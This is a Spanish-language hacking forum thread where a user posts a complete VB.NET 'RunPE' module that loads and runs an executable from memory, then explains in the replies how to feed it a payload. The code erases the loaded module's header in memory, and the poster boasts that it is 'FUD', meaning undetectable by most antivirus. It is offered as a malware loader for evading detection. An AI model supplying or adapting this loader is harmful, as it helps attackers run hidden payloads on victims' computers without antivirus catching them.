HOLA!!!
Esta vez no les traigo una tool de hacking en si misma, sino algo mucho mas... peligroso Jajaja.
Esto que veremos aqui es un codigo completo para ubicar en un Modulo de nuestro proyecto de VB.NET con la capacidad de ejecutar en memoria un archivo EXE (o cualquier otro ejecutable con estructura PE) que anteriormente hayamos convertido en un byte array o bien un string que contenga el byte array.
Este codigo aparte de tener el clasico RunPE posee un pequeño snippet que permite convertir un string en un byte array, para los curiosos les recomiendo experimentar con esa funcion.
Ahora nos vamos al codigo:
'By 79137913 for Underc0de
'Thanks to ANTRAX
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Security
Imports System.Threading
Module PE79137913
<DllImport("kernel32.dll")>
Private Sub RtlZeroMemory(ByVal address As IntPtr, ByVal size As Integer)
End Sub
<SuppressUnmanagedCodeSecurity>
Private Delegate Function ExecuteAssembly(ByVal sender As Object, ByVal parameters As Object()) As Object
'Llama esta funcion para ejecutar tu exe convertido a Byte Array.
Sub Ejecutar(ByVal buffer As Byte())
Dim Llave As Integer = BitConverter.ToInt32(buffer, 60)
buffer(Llave + 920) = CByte(2)
Dim ParametrosEx As Object() = Nothing
Dim Ejecutable As Assembly = Thread.GetDomain().Load(buffer)
Dim PuntoDeEntrada As MethodInfo = Ejecutable.EntryPoint
If PuntoDeEntrada.GetParameters().Length > 0 Then
ParametrosEx = New Object() {New String() {Nothing}}
End If
Dim HiloDeEjecucion As Thread = New Thread(
Sub()
Thread.BeginThreadAffinity()
Thread.BeginCriticalRegion()
Dim EjecutarEjecutable As ExecuteAssembly = New ExecuteAssembly(AddressOf PuntoDeEntrada.Invoke)
EjecutarEjecutable(Nothing, ParametrosEx)
Thread.EndCriticalRegion()
Thread.EndThreadAffinity()
End Sub
)
If ParametrosEx IsNot Nothing Then
If ParametrosEx.Length > 0 Then
HiloDeEjecucion.SetApartmentState(ApartmentState.MTA)
Else
HiloDeEjecucion.SetApartmentState(ApartmentState.STA)
End If
End If
RtlZeroMemory(Marshal.GetHINSTANCE(Ejecutable.ManifestModule), 32)
HiloDeEjecucion.Start()
End Sub
'Usa esta funcion para ejecutar tu exe en forma de String
Sub Ejecutar(ByVal strBuffer As String)
Dim Buffer As Byte() = StrToByte(strBuffer)
Ejecutar(Buffer) 'Ejecuta la cadena de texto convertida a Byte Array
End Sub
'Funcion auxiliar para convertir el String en un Byte Array
Private Function StrToByte(ByVal buffer As String) As Byte()
Dim ByteBufferEx As Byte() = New Byte(buffer.Length - 1) {}
For i As Integer = 0 To buffer.Length - 1
ByteBufferEx(i) = CByte(Val(buffer(i)))
Next
Return ByteBufferEx
End Function
End Module
P.D.: El presente codigo es [FUD] al dia de la fecha, no se cuanto dure, pero por ahora solo lo detecta avira. Disfruten!
GRACIAS POR LEER!!!
Está muy padre no necesitas guardarlo en el disco puedes correrlo directamente en la memoria.
HOLA!!!
Exacto, esa es la esencia de un RunPE
Para que se entienda Run viene de correr o ejecutar y PE de Portable Executable
GRACIAS POR LEER!!!
Hola buenas tardes , como hago para ejecutar ese runpe??, donde tengo que pegar mi opcode??
HOLA!!!
Si tu opcode esta en texto haces asi:
Ejecutar(StrToByte(TU_OPCODE))
Si tu opcode esta en byte array haces asi:
Ejecutar(TU_OPCODE)
GRACIAS POR LEER!!!
;D ;D Gracias por ayudarme amigo. me sirvio mucho tu respuesta